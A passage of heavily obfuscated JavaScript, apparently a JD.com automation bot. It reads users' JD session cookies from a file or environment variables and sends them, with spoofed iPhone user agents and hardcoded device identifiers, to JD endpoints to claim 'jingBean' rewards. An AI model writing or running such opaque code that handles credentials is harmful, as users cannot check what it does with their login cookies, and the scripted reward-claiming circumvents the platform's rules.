DVrOWtXNEFySkVVM2xmTGh4QnF3JTNEJTIyJTJDJTIydmVyc2lvbiUyMiUzQSUyMjEuMC4zJTIyJTJDJTIyYXBwbmFtZSUyMiUzQSUyMmNvbS4zNjBidXkuamRtb2JpbGUlMjIlMkMlMjJyaWR4JTIyJTNBLTElN0QmZWY9MSZzaWduPWJmOTVmNDJmNmIzZDA2MDc2YzNmNDBkZmQ5MmI0ZTdi','blhvcXY=','U0F5c0Y=','RGdaWHc=','TE9iUnA=','Vmp0TXY=','aVBIU1I=','WVphREg=','cmdrbVc=','alRZWEs=','dHlxRVk=','dE1wdFU=','eWNMbVQ=','bk55SGM=','Rm9paW4=','cG9zdA==','dUtjeVU=','V3JqWlI=','dGhCVWg=','WEdGY0k=','IEFQSeivt+axguWksei0pe+8jOivt+ajgOafpee9kei3r+mHjeivlQ==','cGFyc2U=','TWJoVEc=','SnRUS0s=','c3RyaW5naWZ5','TXRRV2E=','SWplRFQ=','dFh5cVQ=','REZFZWU=','bU1yRXo=','dkFSZHk=','WVZaY3E=','ekJ0U00=','UmdrWlg=','bGZPR3M=','QVlDVVk=','c1VRSVE=','d2luZG93c0NvbnRlbnQ=','bG9nRXJy','cmZBQUk=','TW5wSmg=','c3lHVXQ=','ZEtwaEk=','eVRJUk8=','TldvWUQ=','Rmp3QXI=','amluZ0JlYW5SZWNlaXZl','Ym9keT0lN0IlMjJlbmNyeXB0QXNzaWdubWVudElkJTIyJTNBJTIyNmJ6Y3U4Wk5QSEZodVdaQzU1TWhMZ0pDUGlXJTIyJTJDJTIyZmlyc3RUeXBlJTIyJTNBLTEwMCUyQyUyMnBsdWdpbl92ZXJzaW9uJTIyJTNBOTA1NTglN0QmY2xpZW50PWFwcGxlJmNsaWVudFZlcnNpb249MTEuMC4yJnN0PTE2NTgwNDUwNTMwNjgmc3Y9MTExJmVwPSU3QiUyMmNpcGhlcnR5cGUlMjIlM0E1JTJDJTIyY2lwaGVyJTIyJTNBJTdCJTIyc2NyZWVuJTIyJTNBJTIyQ0pPeURJZXlETkMyJTIyJTJDJTIyd2lmaUJzc2lkJTIyJTNBJTIyWXRTNUNKUzREdEsyWUpjbUROWndEMlMyQ05PMlpXT3pFV0cwRU5VMlpOWSUzRCUyMiUyQyUyMm9zVmVyc2lvbiUyMiUzQSUyMkNKVWtDSyUzRCUzRCUyMiUyQyUyMmFyZWElMjIlM0ElMjJDdFpwQ0pZMlh6U21EektuWHpPMkRKYzMlMjIlMkMlMjJvcGVudWRpZCUyMiUzQSUyMkRXVnRZdENtRHRTNENXUzNESlV6RHpQdVp0QzFFSnExRVFad1l6UzJDdGM0Wk5HblpKR3paRyUzRCUzRCUyMiUyQyUyMnV1aWQlMjIlM0ElMjJEV1Z0WXRDbUR0UzRDV1MzREpVekR6UHVadEMxRUpxMUVRWndZelMyQ3RjNFpOR25aSkd6WkclM0QlM0QlMjIlN0QlMkMlMjJ0cyUyMiUzQTE2NTgwNDUwNTMwNjglMkMlMjJoZGlkJTIyJTNBJTIySk05RjF5d1VQd2Zsdk1JcFlQb2swdHQ1azlrVzRBckpFVTNsZkxoeEJxdyUzRCUyMiUyQyUyMnZlcnNpb24lMjIlM0ElMjIxLjAuMyUyMiUyQyUyMmFwcG5hbWUlMjIlM0ElMjJjb20uMzYwYnV5LmpkbW9iaWxlJTIyJTJDJTIycmlkeCUyMiUzQS0xJTdEJmVmPTEmc2lnbj01YTIxYTZmMjE4MDc2NWYzNDg1MTIzNTdjNjdiOGY1Yg==','TmJqdmQ=','QktNeEE=','Zmp1Qm8=','am9qS28=','aEZlWkY=','aUxZWGE=','cXdZTHY=','V29vSUw=','QkZCcGM=','TFJCTlY=','bW5pRVk=','cE5IRFI=','RHdDWXk=','YmxDb2s=','VFhVTm8=','WktiSnM=','ZndmU2Q=','ZE9HZXc=','UkFLZGw=','dUZlSUU=','Q3h0dGI=','akFpS28=','RGVxSlo=','aW5XTGw=','d3pVWkU=','Y29kZQ==','aXNTdWNjZXNz','aWFkanA=','dG9Wdkw=','c0dkQlU=','alJURk4=','bWVzc2FnZQ==','a255Z0s=','c0pqZWM=','WVRHWmQ=','T29QQWo=','YXBpLm0uamQuY29t','YXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVk','Ki8q','emgtSGFucy1DTjtxPTE=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9mdW5jdGlvbklkPQ==','UXpTclo=','UHJXS2o=','eXJLWEM=','QVNWeXI=','SXBBUWc=','c3JXY0s=','eGdvbVY=','cmFuZG9t','SWpxTmI=','TmhsTWY=','bFdkYUM=','RG5LWlo=','VGlIU3U=','cmV0Y29kZQ==','YmFzZQ==','SnR6SVg=','UkdSUEg=','cWROc1E=','YXBwbGljYXRpb24vanNvbix0ZXh0L3BsYWluLCAqLyo=','Z3ppcCwgZGVmbGF0ZSwgYnI=','emgtY24=','a2VlcC1hbGl2ZQ==','aHR0cHM6Ly93cXMuamQuY29tL215L2ppbmdkb3UvbXkuc2h0bWw/c2NlbmV2YWw9Mg==','TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxNF8zIGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgVmVyc2lvbi8xNC4wLjIgTW9iaWxlLzE1RTE0OCBTYWZhcmkvNjA0LjE=','WHNaWXM=','Yk9mV2Y=','eHNUR2k=','UkJQaXg=','UkpxdVU=','aHR0cHM6Ly93cS5qZC5jb20vdXNlci9pbmZvL1F1ZXJ5SkRVc2VySW5mbz9zY2VuZXZhbD0y','allZYWk=','ZmN4SlE=','ZFRZREQ=','ZEJiRUc=','QkFCTkc=','aFZOdUw=','ZFBtZkY=','UmtDckg=','Y1ZVcE8=','d3lOaFk=','a1VYa3M=','bmlja25hbWU=','cndUZHY=','QXZiUU8=','WGh0bHg=','WlFvWGU=','b3dTdVg=','eklNVHM=','VUlCVXM=','WVlYRWg=','5Lqs5Lic5pyN5Yqh5Zmo6L+U5Zue56m65pWw5o2u','aWhrbXM=','dG96ZGg=','cmVwbGFjZQ==','ZFNqaHc=','bHZwZmo=','RlVOYVk=','RVRlWkI=','dG9TdHJpbmc=','dG9VcHBlckNhc2U=','5LiT5bGe56S8','aXNOb2Rl','Li9zZW5kTm90aWZ5','Li9qZENvb2tpZS5qcw==','a2V5cw==','Zm9yRWFjaA==','cHVzaA==','ZW52','SkRfREVCVUc=','ZmFsc2U=','bG9n','Z2V0ZGF0YQ==','Q29va2llSkQ=','Q29va2llSkQy','Q29va2llc0pE','bWFw','Y29va2ll','ZmlsdGVy','amluZ0JlYW4=','alZ4WW0=','44CQ5o+Q56S644CR6K+35YWI6I635Y+W5Lqs5Lic6LSm5Y+35LiAY29va2llCuebtOaOpeS9v+eUqE5vYnlEYeeahOS6rOS4nOetvuWIsOiOt+WPlg==','aHR0cHM6Ly9iZWFuLm0uamQuY29tL2JlYW4vc2lnbkluZGV4LmFjdGlvbg==','eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eA==','dnlIbEU=','YUhOS3E=','bXNn','bmFtZQ==','bWNoQVc=','YXNVcko=','Zmxvb3Jz','d1RiZVY=','bUlk','aFRYWFc=','ZW5jcnlwdEFzc2lnbm1lbnRJZA==','ZGF0YQ==','amluZ0JlYW5JbmZv','bWZsTkU=','VUF5d2E=','cHN1V2U=','bGVuZ3Ro','amRhcHA7aVBob25lOzEwLjAuODsxNC42Ow==','O25ldHdvcmsvd2lmaTtKREVib29rL29wZW5hcHAuamRyZWFkZXI7bW9kZWwvaVBob25lOSwyO2FkZHJlc3NpZC8yMjE0MjIyNDkzO2FwcEJ1aWxkLzE2ODg0MTtqZFN1cHBvcnREYXJrTW9kZS8wO01vemlsbGEvNS4wIChpUGhvbmU7IENQVSBpUGhvbmUgT1MgMTRfNiBsaWtlIE1hYyBPUyBYKSBBcHBsZVdlYktpdC82MDUuMS4xNSAoS0hUTUwsIGxpa2UgR2Vja28pIE1vYmlsZS8xNkUxNTg7c3VwcG9ydEpEU0hXSy8x','VXNlck5hbWU=','bWF0Y2g=','aW5kZXg=','VWlQRmg=','aXNMb2dpbg==','jsjiamiH.RNucom.TvH6SJgZuALyE=='];if(function(_0x571b5c,_0x4dbbea,_0x20e515){function _0xc436cb(_0x5e22b7,_0x452ba6,_0x25b4f6,_0x1eac1b,_0x52ccec,_0x4f4580){_0x452ba6=_0x452ba6>>0x8,_0x52ccec='po';var _0x1f9228='shift',_0x5de58e='push',_0x4f4580='‮';if(_0x452ba6<_0x5e22b7){while(--_0x5e22b7){_0x1eac1b=_0x571b5c[_0x1f9228]();if(_0x452ba6===_0x5e22b7&&_0x4f4580==='‮'&&_0x4f4580['length']===0x1){_0x452ba6=_0x1eac1b,_0x25b4f6=_0x571b5c[_0x52ccec+'p']();}else if(_0x452ba6&&_0x25b4f6['replace'](/[HRNuTHSJgZuALyE=]/g,'')===_0x452ba6){_0x571b5c[_0x5de58e](_0x1eac1b);}}_0x571b5c[_0x5de58e](_0x571b5c[_0x1f9228]());}return 0xf78d9;};return _0xc436cb(++_0x4dbbea,_0x20e515)>>_0x4dbbea^_0x20e515;}(_0x1216,0x18b,0x18b00),_0x1216){_0xodg_=_0x1216['length']^0x18b;};function _0x22d4(_0x18a028,_0x2a0c42){_0x18a028=~~'0x'['concat'](_0x18a028['slice'](0x1));var _0x576e91=_0x1216[_0x18a028];if(_0x22d4['AjSsba']===undefined&&'‮'['length']===0x1){(function(){var _0xd5f5a5=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x337fb3='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xd5f5a5['atob']||(_0xd5f5a5['atob']=function(_0x295852){var _0x1f9c32=String(_0x295852)['replace'](/=+$/,'');for(var _0x184bbf=0x0,_0x472345,_0x1487d1,_0x30ef41=0x0,_0x3945c8='';_0x1487d1=_0x1f9c32['charAt'](_0x30ef41++);~_0x1487d1&&(_0x472345=_0x184bbf%0x4?_0x472345*0x40+_0x1487d1:_0x1487d1,_0x184bbf++%0x4)?_0x3945c8+=String['fromCharCode'](0xff&_0x472345>>(-0x2*_0x184bbf&0x6)):0x0){_0x1487d1=_0x337fb3['indexOf'](_0x1487d1);}return _0x3945c8;});}());_0x22d4['ASOQYE']=function(_0x597564){var _0x5c295a=atob(_0x597564);var _0x87b557=[];for(var _0x12ccde=0x0,_0x16ec0f=_0x5c295a['length'];_0x12ccde<_0x16ec0f;_0x12ccde++){_0x87b557+='%'+('00'+_0x5c295a['charCodeAt'](_0x12ccde)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x87b557);};_0x22d4['DMDREG']={};_0x22d4['AjSsba']=!![];}var _0x92f24=_0x22d4['DMDREG'][_0x18a028];if(_0x92f24===undefined){_0x576e91=_0x22d4['ASOQYE'](_0x576e91);_0x22d4['DMDREG'][_0x18a028]=_0x576e91;}else{_0x576e91=_0x92f24;}return _0x576e91;};const $=new Env(_0x22d4('‮0'));const notify=$[_0x22d4('‮1')]()?require(_0x22d4('‫2')):'';const jdCookieNode=$[_0x22d4('‮1')]()?require(_0x22d4('‮3')):'';const fs=require('fs');let cookiesArr=[],cookie='';if($[_0x22d4('‮1')]()){Object[_0x22d4('‮4')](jdCookieNode)[_0x22d4('‫5')](_0x3fd5a4=>{cookiesArr[_0x22d4('‮6')](jdCookieNode[_0x3fd5a4]);});if(process[_0x22d4('‫7')][_0x22d4('‫8')]&&process[_0x22d4('‫7')][_0x22d4('‫8')]===_0x22d4('‫9'))console[_0x22d4('‫a')]=()=>{};}else{cookiesArr=[$[_0x22d4('‫b')](_0x22d4('‫c')),$[_0x22d4('‫b')](_0x22d4('‫d')),...jsonParse($[_0x22d4('‫b')](_0x22d4('‫e'))||'[]')[_0x22d4('‮f')](_0x1daed7=>_0x1daed7[_0x22d4('‮10')])][_0x22d4('‫11')](_0x3de35e=>!!_0x3de35e);}!(async()=>{var _0x277ec5={'wTbeV':function(_0x28c6e3,_0x5b0635){return _0x28c6e3===_0x5b0635;},'hTXXW':_0x22d4('‫12'),'vyHlE':function(_0x2909c0,_0x50da36){return _0x2909c0===_0x50da36;},'aHNKq':_0x22d4('‮13'),'mchAW':_0x22d4('‮14'),'asUrJ':_0x22d4('‮15'),'mflNE':function(_0x508d1c,_0x2122b3){return _0x508d1c(_0x2122b3);},'UAywa':_0x22d4('‫16'),'psuWe':function(_0x15de42,_0x3198b0){return _0x15de42<_0x3198b0;},'UiPFh':function(_0xd4c434,_0x48e6cf){return _0xd4c434+_0x48e6cf;},'DBGok':function(_0x280fdd){return _0x280fdd();}};if(!cookiesArr[0x0]){if(_0x277ec5[_0x22d4('‫17')](_0x277ec5[_0x22d4('‫18')],_0x277ec5[_0x22d4('‫18')])){$[_0x22d4('‮19')]($[_0x22d4('‫1a')],_0x277ec5[_0x22d4('‫1b')],_0x277ec5[_0x22d4('‮1c')],{'open-url':_0x277ec5[_0x22d4('‮1c')]});return;}else{for(const _0x12e363 of data[_0x22d4('‫1d')]){if(_0x277ec5[_0x22d4('‫1e')](_0x12e363[_0x22d4('‫1f')],_0x277ec5[_0x22d4('‮20')])){$[_0x22d4('‫21')]=_0x12e363[_0x22d4('‫22')][_0x22d4('‮23')][_0x22d4('‫21')];}}}}UUID=_0x277ec5[_0x22d4('‫24')](getUUID,_0x277ec5[_0x22d4('‫25')]);for(let _0xded5d3=0x0;_0x277ec5[_0x22d4('‫26')](_0xded5d3,cookiesArr[_0x22d4('‮27')]);_0xded5d3++){UA=_0x22d4('‮28')+UUID+_0x22d4('‮29');if(cookiesArr[_0xded5d3]){cookie=cookiesArr[_0xded5d3];$[_0x22d4('‫2a')]=_0x277ec5[_0x22d4('‫24')](decodeURIComponent,cookie[_0x22d4('‮2b')](/pt_pin=([^; ]+)(?=;?)/)&&cookie[_0x22d4('‮2b')](/pt_pin=([^; ]+)(?=;?)/)[0x1]);$[_0x22d4('‫2c')]=_0x277ec5[_0x22d4('‮2d')](_0xded5d3,0x1);$[_0x22d4('‮2e')]=!![];$[_0x22d4('‮2f')]='';$[_0x22d4('‫30')]='1';message='';await _0x277ec5[_0x22d4('‫31')](TotalBean);console[_0x22d4('‫a')](_0x22d4('‮32')+$[_0x22d4('‫2c')]+'】'+($[_0x22d4('‮2f')]||$[_0x22d4('‫2a')])+_0x22d4('‮33'));if(!$[_0x22d4('‮2e')]){$[_0x22d4('‮19')]($[_0x22d4('‫1a')],_0x22d4('‮34'),_0x22d4('‫35')+$[_0x22d4('‫2c')]+'\x20'+($[_0x22d4('‮2f')]||$[_0x22d4('‫2a')])+_0x22d4('‫36'),{'open-url':_0x277ec5[_0x22d4('‮1c')]});if($[_0x22d4('‮1')]()){}continue;}await _0x277ec5[_0x22d4('‫31')](main);await $[_0x22d4('‮37')](0x3e8);}}})()[_0x22d4('‫38')](_0x5c8e24=>{$[_0x22d4('‫a')]('','❌\x20'+$[_0x22d4('‫1a')]+_0x22d4('‮39')+_0x5c8e24+'!','');})[_0x22d4('‮3a')](()=>{$[_0x22d4('‮3b')]();});async function main(){var _0x506163={'JuUSW':function(_0x413e3f){return _0x413e3f();},'zTSdg':function(_0x5758b7){return _0x5758b7();}};await _0x506163[_0x22d4('‫3c')](getJoyInfo);await _0x506163[_0x22d4('‫3d')](jingBeanReceive);}async function getJoyInfo(){var _0x3a2c36={'nXoqv':function(_0x1cbde4,_0x237856){return _0x1cbde4===_0x237856;},'SAysF':_0x22d4('‫12'),'DgZXw':function(_0x5761ec,_0x3d4bde){return _0x5761ec(_0x3d4bde);},'LObRp':function(_0x17cd40,_0x332bc9){return _0x17cd40!==_0x332bc9;},'VjtMv':_0x22d4('‮3e'),'iPHSR':function(_0x2dcf3c,_0x5bfe42){return _0x2dcf3c===_0x5bfe42;},'YZaDH':_0x22d4('‮3f'),'rgkmW':_0x22d4('‮40'),'jTYXK':_0x22d4('‫41'),'tyqEY':_0x22d4('‮42'),'tMptU':_0x22d4('‮43'),'ycLmT':_0x22d4('‫44'),'nNyHc':_0x22d4('‮45'),'Foiin':_0x22d4('‫46'),'uKcyU':function(_0x2fc0f9,_0x39e420,_0x16c2b9){return _0x2fc0f9(_0x39e420,_0x16c2b9);},'WrjZR':_0x22d4('‫47'),'thBUh':_0x22d4('‮48')};return new Promise(_0x47e7b7=>{var _0x378ac1={'DFEee':function(_0x51f056,_0xb4a626){return _0x3a2c36[_0x22d4('‫49')](_0x51f056,_0xb4a626);},'mMrEz':_0x3a2c36[_0x22d4('‮4a')],'XGFcI':function(_0x5aaa28,_0x538072){return _0x3a2c36[_0x22d4('‮4b')](_0x5aaa28,_0x538072);},'MbhTG':function(_0x1f3855,_0x21941a){return _0x3a2c36[_0x22d4('‫4c')](_0x1f3855,_0x21941a);},'JtTKK':_0x3a2c36[_0x22d4('‫4d')],'MtQWa':function(_0x347453,_0x696a0f){return _0x3a2c36[_0x22d4('‮4e')](_0x347453,_0x696a0f);},'IjeDT':_0x3a2c36[_0x22d4('‮4f')],'tXyqT':_0x3a2c36[_0x22d4('‫50')],'vARdy':_0x3a2c36[_0x22d4('‫51')],'YVZcq':_0x3a2c36[_0x22d4('‮52')],'RgkZX':_0x3a2c36[_0x22d4('‫53')],'lfOGs':_0x3a2c36[_0x22d4('‮54')],'AYCUY':function(_0x3142c1,_0x4be1f8){return _0x3a2c36[_0x22d4('‫4c')](_0x3142c1,_0x4be1f8);},'sUQIQ':_0x3a2c36[_0x22d4('‫55')]};if(_0x3a2c36[_0x22d4('‫4c')](_0x3a2c36[_0x22d4('‮56')],_0x3a2c36[_0x22d4('‮56')])){cookiesArr[_0x22d4('‮6')](jdCookieNode[item]);}else{$[_0x22d4('‮57')](_0x3a2c36[_0x22d4('‫58')](taskUrl,_0x3a2c36[_0x22d4('‫59')],_0x3a2c36[_0x22d4('‫5a')]),(_0x42c18f,_0x5abde4,_0x21f8c9)=>{var _0x2653d3={'zBtSM':function(_0xff9da6,_0x13d25b){return _0x378ac1[_0x22d4('‫5b')](_0xff9da6,_0x13d25b);}};try{if(_0x42c18f){console[_0x22d4('‫a')](_0x42c18f);console[_0x22d4('‫a')]($[_0x22d4('‫1a')]+_0x22d4('‫5c'));}else{_0x21f8c9=JSON[_0x22d4('‫5d')](_0x21f8c9);if(_0x21f8c9[_0x22d4('‫1d')]){if(_0x378ac1[_0x22d4('‫5e')](_0x378ac1[_0x22d4('‫5f')],_0x378ac1[_0x22d4('‫5f')])){console[_0x22d4('‫a')](''+JSON[_0x22d4('‮60')](_0x42c18f));console[_0x22d4('‫a')]($[_0x22d4('‫1a')]+_0x22d4('‫5c'));}else{for(const _0x2e82cf of _0x21f8c9[_0x22d4('‫1d')]){if(_0x378ac1[_0x22d4('‫61')](_0x378ac1[_0x22d4('‫62')],_0x378ac1[_0x22d4('‫63')])){if(_0x378ac1[_0x22d4('‮64')](_0x2e82cf[_0x22d4('‫1f')],_0x378ac1[_0x22d4('‫65')])){$[_0x22d4('‫21')]=_0x2e82cf[_0x22d4('‫22')][_0x22d4('‮23')][_0x22d4('‫21')];}}else{if(_0x378ac1[_0x22d4('‫61')](_0x2e82cf[_0x22d4('‫1f')],_0x378ac1[_0x22d4('‫65')])){if(_0x378ac1[_0x22d4('‫61')](_0x378ac1[_0x22d4('‮66')],_0x378ac1[_0x22d4('‮67')])){_0x2653d3[_0x22d4('‮68')](_0x47e7b7,_0x21f8c9);}else{$[_0x22d4('‫21')]=_0x2e82cf[_0x22d4('‫22')][_0x22d4('‮23')][_0x22d4('‫21')];}}}}}}else{if(_0x378ac1[_0x22d4('‫5e')](_0x378ac1[_0x22d4('‫69')],_0x378ac1[_0x22d4('‮6a')])){console[_0x22d4('‫a')](JSON[_0x22d4('‮60')](_0x21f8c9));}else{console[_0x22d4('‫a')](JSON[_0x22d4('‮60')](_0x21f8c9));}}}}catch(_0x2302a3){if(_0x378ac1[_0x22d4('‮6b')](_0x378ac1[_0x22d4('‫6c')],_0x378ac1[_0x22d4('‫6c')])){console[_0x22d4('‫a')](_0x21f8c9[_0x22d4('‫22')][_0x22d4('‮6d')]);}else{$[_0x22d4('‮6e')](_0x2302a3,_0x5abde4);}}finally{_0x378ac1[_0x22d4('‫5b')](_0x47e7b7,_0x21f8c9);}});}});}async function jingBeanReceive(){var _0x42bac9={'Nbjvd':_0x22d4('‫c'),'BKMxA':_0x22d4('‫d'),'fjuBo':function(_0x3f7e2f,_0x17c449){return _0x3f7e2f(_0x17c449);},'jojKo':_0x22d4('‫e'),'hFeZF':function(_0x33a23e,_0x53683c){return _0x33a23e!==_0x53683c;},'iLYXa':_0x22d4('‮6f'),'qwYLv':function(_0xf91099,_0x47458f){return _0xf91099===_0x47458f;},'WooIL':_0x22d4('‫70'),'BFBpc':_0x22d4('‮71'),'LRBNV':_0x22d4('‫72'),'mniEY':_0x22d4('‫73'),'pNHDR':_0x22d4('‫74'),'DwCYy':_0x22d4('‮75'),'blCok':function(_0x24a9c3,_0x51ec39,_0x172730){return _0x24a9c3(_0x51ec39,_0x172730);},'TXUNo':_0x22d4('‮76'),'ZKbJs':_0x22d4('‮77')};return new Promise(_0x4f3779=>{var _0x5b51b3={'RAKdl':_0x42bac9[_0x22d4('‮78')],'uFeIE':_0x42bac9[_0x22d4('‫79')],'Cxttb':function(_0x1083f8,_0xae56fd){return _0x42bac9[_0x22d4('‮7a')](_0x1083f8,_0xae56fd);},'jAiKo':_0x42bac9[_0x22d4('‫7b')],'fwfSd':function(_0x3874bf,_0x32b36d){return _0x42bac9[_0x22d4('‫7c')](_0x3874bf,_0x32b36d);},'dOGew':_0x42bac9[_0x22d4('‮7d')],'DeqJZ':function(_0x54429e,_0x1515af){return _0x42bac9[_0x22d4('‫7e')](_0x54429e,_0x1515af);},'inWLl':_0x42bac9[_0x22d4('‫7f')],'wzUZE':function(_0x254a70,_0x585a84){return _0x42bac9[_0x22d4('‫7e')](_0x254a70,_0x585a84);},'iadjp':_0x42bac9[_0x22d4('‫80')],'toVvL':function(_0x2e271c,_0x1bc1ff){return _0x42bac9[_0x22d4('‫7c')](_0x2e271c,_0x1bc1ff);},'sGdBU':_0x42bac9[_0x22d4('‮81')],'jRTFN':_0x42bac9[_0x22d4('‫82')],'knygK':function(_0x114531,_0xc009eb){return _0x42bac9[_0x22d4('‫7c')](_0x114531,_0xc009eb);},'sJjec':_0x42bac9[_0x22d4('‮83')],'YTGZd':_0x42bac9[_0x22d4('‮84')],'OoPAj':function(_0x139cdd,_0x3c2e4f){return _0x42bac9[_0x22d4('‮7a')](_0x139cdd,_0x3c2e4f);}};$[_0x22d4('‮57')](_0x42bac9[_0x22d4('‮85')](taskUrl,_0x42bac9[_0x22d4('‮86')],_0x42bac9[_0x22d4('‫87')]),(_0x4ec997,_0xa18bd1,_0xc4bac0)=>{if(_0x5b51b3[_0x22d4('‮88')](_0x5b51b3[_0x22d4('‫89')],_0x5b51b3[_0x22d4('‫89')])){cookiesArr=[$[_0x22d4('‫b')](_0x5b51b3[_0x22d4('‮8a')]),$[_0x22d4('‫b')](_0x5b51b3[_0x22d4('‫8b')]),..._0x5b51b3[_0x22d4('‫8c')](jsonParse,$[_0x22d4('‫b')](_0x5b51b3[_0x22d4('‫8d')])||'[]')[_0x22d4('‮f')](_0x5acb0e=>_0x5acb0e[_0x22d4('‮10')])][_0x22d4('‫11')](_0x2fa77c=>!!_0x2fa77c);}else{try{if(_0x4ec997){if(_0x5b51b3[_0x22d4('‮8e')](_0x5b51b3[_0x22d4('‮8f')],_0x5b51b3[_0x22d4('‮8f')])){console[_0x22d4('‫a')](_0x4ec997);console[_0x22d4('‫a')]($[_0x22d4('‫1a')]+_0x22d4('‫5c'));}else{$[_0x22d4('‫a')]('','❌\x20'+$[_0x22d4('‫1a')]+_0x22d4('‮39')+e+'!','');}}else{_0xc4bac0=JSON[_0x22d4('‫5d')](_0xc4bac0);if(_0x5b51b3[_0x22d4('‮90')](_0xc4bac0[_0x22d4('‫91')],0x0)){if(_0xc4bac0[_0x22d4('‮92')]){if(_0x5b51b3[_0x22d4('‮88')](_0x5b51b3[_0x22d4('‫93')],_0x5b51b3[_0x22d4('‫93')])){$[_0x22d4('‫21')]=vo[_0x22d4('‫22')][_0x22d4('‮23')][_0x22d4('‫21')];}else{console[_0x22d4('‫a')](_0xc4bac0[_0x22d4('‫22')][_0x22d4('‮6d')]);}}else{if(_0x5b51b3[_0x22d4('‫94')](_0x5b51b3[_0x22d4('‫95')],_0x5b51b3[_0x22d4('‫96')])){console[_0x22d4('‫a')](_0xc4bac0[_0x22d4('‮97')]);}else{console[_0x22d4('‫a')](_0x4ec997);console[_0x22d4('‫a')]($[_0x22d4('‫1a')]+_0x22d4('‫5c'));}}}else{console[_0x22d4('‫a')](JSON[_0x22d4('‮60')](_0xc4bac0));}}}catch(_0x4c45b2){$[_0x22d4('‮6e')](_0x4c45b2,_0xa18bd1);}finally{if(_0x5b51b3[_0x22d4('‫98')](_0x5b51b3[_0x22d4('‫99')],_0x5b51b3[_0x22d4('‮9a')])){_0x5b51b3[_0x22d4('‮9b')](_0x4f3779,_0xc4bac0);}else{$[_0x22d4('‮2e')]=![];return;}}}});});}function taskUrl(_0x13905d,_0x5d09b7){var _0x45192a={'QzSrZ':_0x22d4('‮9c'),'PrWKj':_0x22d4('‫9d'),'yrKXC':_0x22d4('‫9e'),'ASVyr':_0x22d4('‮9f')};return{'url':_0x22d4('‫a0')+_0x13905d,'body':_0x5d09b7,'headers':{'Host':_0x45192a[_0x22d4('‮a1')],'Content-Type':_0x45192a[_0x22d4('‫a2')],'Accept':_0x45192a[_0x22d4('‮a3')],'User-Agent':UA,'Accept-language':_0x45192a[_0x22d4('‫a4')],'Cookie':cookie}};}function random(_0x2bb0c2,_0x26cbc0){var _0x5ba27b={'IpAQg':function(_0x53f805,_0x392f33){return _0x53f805(_0x392f33);},'srWcK':function(_0x225952,_0x39b202){return _0x225952*_0x39b202;},'xgomV':function(_0x2c0594,_0x39287d){return _0x2c0594-_0x39287d;}};return _0x5ba27b[_0x22d4('‫a5')](parseInt,_0x5ba27b[_0x22d4('‮a6')](_0x5ba27b[_0x22d4('‮a7')](_0x26cbc0,_0x2bb0c2),Math[_0x22d4('‫a8')]()));}function TotalBean(){var _0x376530={'RkCrH':function(_0x251a0d,_0x5279d0){return _0x251a0d!==_0x5279d0;},'cVUpO':_0x22d4('‫a9'),'wyNhY':_0x22d4('‮aa'),'rwTdv':function(_0x2ace0b,_0x324b4d){return _0x2ace0b===_0x324b4d;},'AvbQO':_0x22d4('‮ab'),'Xhtlx':_0x22d4('‫ac'),'ZQoXe':_0x22d4('‮ad'),'owSuX':function(_0xfa075,_0x5ea4f7){return _0xfa075===_0x5ea4f7;},'zIMTs':_0x22d4('‫ae'),'xsTGi':function(_0x1e74ff,_0xc2ce5d){return _0x1e74ff===_0xc2ce5d;},'XsZYs':_0x22d4('‫af'),'UIBUs':function(_0x1c264e,_0x3536e0){return _0x1c264e!==_0x3536e0;},'YYXEh':_0x22d4('‮b0'),'tozdh':function(_0x5ed2b1){return _0x5ed2b1();},'bOfWf':function(_0x4a0da0){return _0x4a0da0();},'RBPix':_0x22d4('‮b1'),'RJquU':_0x22d4('‫b2'),'jYYai':_0x22d4('‫b3'),'fcxJQ':_0x22d4('‫9d'),'dTYDD':_0x22d4('‮b4'),'dBbEG':_0x22d4('‮b5'),'BABNG':_0x22d4('‫b6'),'hVNuL':_0x22d4('‮b7'),'dPmfF':_0x22d4('‫b8')};return new Promise(async _0x5e50ea=>{var _0x247b63={'kUXks':_0x376530[_0x22d4('‮b9')],'ihkms':function(_0x3b72e9){return _0x376530[_0x22d4('‮ba')](_0x3b72e9);}};if(_0x376530[_0x22d4('‫bb')](_0x376530[_0x22d4('‮bc')],_0x376530[_0x22d4('‫bd')])){$[_0x22d4('‮6e')](e,resp);}else{const _0x43eae3={'url':_0x22d4('‮be'),'headers':{'Accept':_0x376530[_0x22d4('‮bf')],'Content-Type':_0x376530[_0x22d4('‫c0')],'Accept-Encoding':_0x376530[_0x22d4('‫c1')],'Accept-Language':_0x376530[_0x22d4('‫c2')],'Connection':_0x376530[_0x22d4('‫c3')],'Cookie':cookie,'Referer':_0x376530[_0x22d4('‮c4')],'User-Agent':_0x376530[_0x22d4('‫c5')]}};$[_0x22d4('‮57')](_0x43eae3,(_0x33e7e0,_0xd57885,_0x56881e)=>{try{if(_0x33e7e0){if(_0x376530[_0x22d4('‫c6')](_0x376530[_0x22d4('‮c7')],_0x376530[_0x22d4('‮c8')])){console[_0x22d4('‫a')](''+JSON[_0x22d4('‮60')](_0x33e7e0));console[_0x22d4('‫a')]($[_0x22d4('‫1a')]+_0x22d4('‫5c'));}else{$[_0x22d4('‮2f')]=_0x56881e[_0x247b63[_0x22d4('‫c9')]]&&_0x56881e[_0x247b63[_0x22d4('‫c9')]][_0x22d4('‮ca')]||$[_0x22d4('‫2a')];}}else{if(_0x376530[_0x22d4('‮cb')](_0x376530[_0x22d4('‫cc')],_0x376530[_0x22d4('‫cc')])){if(_0x56881e){if(_0x376530[_0x22d4('‮cb')](_0x376530[_0x22d4('‮cd')],_0x376530[_0x22d4('‫ce')])){console[_0x22d4('‫a')](_0x56881e[_0x22d4('‮97')]);}else{_0x56881e=JSON[_0x22d4('‫5d')](_0x56881e);if(_0x376530[_0x22d4('‮cf')](_0x56881e[_0x376530[_0x22d4('‫d0')]],0xd)){$[_0x22d4('‮2e')]=![];return;}if(_0x376530[_0x22d4('‫bb')](_0x56881e[_0x376530[_0x22d4('‫